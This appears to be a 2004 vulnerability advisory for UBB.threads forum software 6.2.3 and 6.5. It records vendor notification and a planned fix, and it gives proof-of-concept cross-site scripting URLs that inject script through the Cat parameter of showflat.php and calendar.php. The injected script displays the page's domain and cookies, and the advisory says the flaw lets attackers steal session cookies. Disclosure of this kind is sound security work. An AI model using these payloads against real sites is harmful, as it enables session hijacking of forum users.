ubbXSS.txt

`Vendor: Infopop  
URL: http://www.infopop.com/  
tested Versions: 6.2.3 & 6.5  
remote: yes  
vendor notified: 06 Dec 2004 at 01:08 AM  
Vendor response: 06/07 Dec 2004 01:33 AM/06:08 PM  
Update status: ..in process  
  
  
============================================================  
  
  
  
Summary:  
~~~~~~~  
UBBThreads is a High end forum system, powered under  
PHP and MySQL with many attitude.  
A security vulnerability in both (6.2.3 & 6.5) products  
allow malicious users to steal session cookies, but  
probably more versions are vulnerable.  
============================================================  
  
  
  
Examples in Version 6.2.3:  
~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
[forum]/showflat.php?Cat=document.write(unescape("%3CSCRIPT%3Ealert%28document.domain%29%3B%3C/SCRIPT%3E%3CSCRIPT%3Ealert%28document.cookie%29%3B%3C/SCRIPT%3E%0D%0A"));  
  
tested modules are:  
main, search, newuser, login, online, faq, ect..  
  
  
Note:  
~~~~  
some of these were fixed in Version 6.5.  
It follows the not fixed..  
============================================================  
  
  
  
Examples in version 6.5:  
~~~~~~~~~~~~~~~~~~~~~~~~  
  
[forum]/calendar.php?Cat=document.write(unescape("%3CSCRIPT%3Ealert%28document.domain%29%3B%3C/SCRIPT%3E%3CSCRIPT%3Ealert%28document.cookie%29%3B%3C/SCRIPT%3E%0D%0A"));  
  
  
[forum]/login.php?Cat=[XSS(s.a.)]  
  
and:  
[forum]/online.php?Cat=[XSS(s.a.)]  
  
  
  
============================================================  
  
  
  
Vendor:  
~~~~~  
Vulnerabilities will be fixed in the next release,  
Version 6.5.1. Since March 2004, Infopop offers no longer  
support for any version of UBB.classic or UBB.threads  
prior to Version 6.0.  
  
http://www.infopop.com/  
http://www.ubbcentral.com/  
  
  
  
============================================================  
  
Credits:  
~~~~~  
dw.; ms.; ect.  
  
  
--   
kind regards  
g@cat <-> MM  
  
  
-----------------------------------------  
This email was sent using FREE Catholic Online Webmail!  
http://webmail.catholic.org/  
`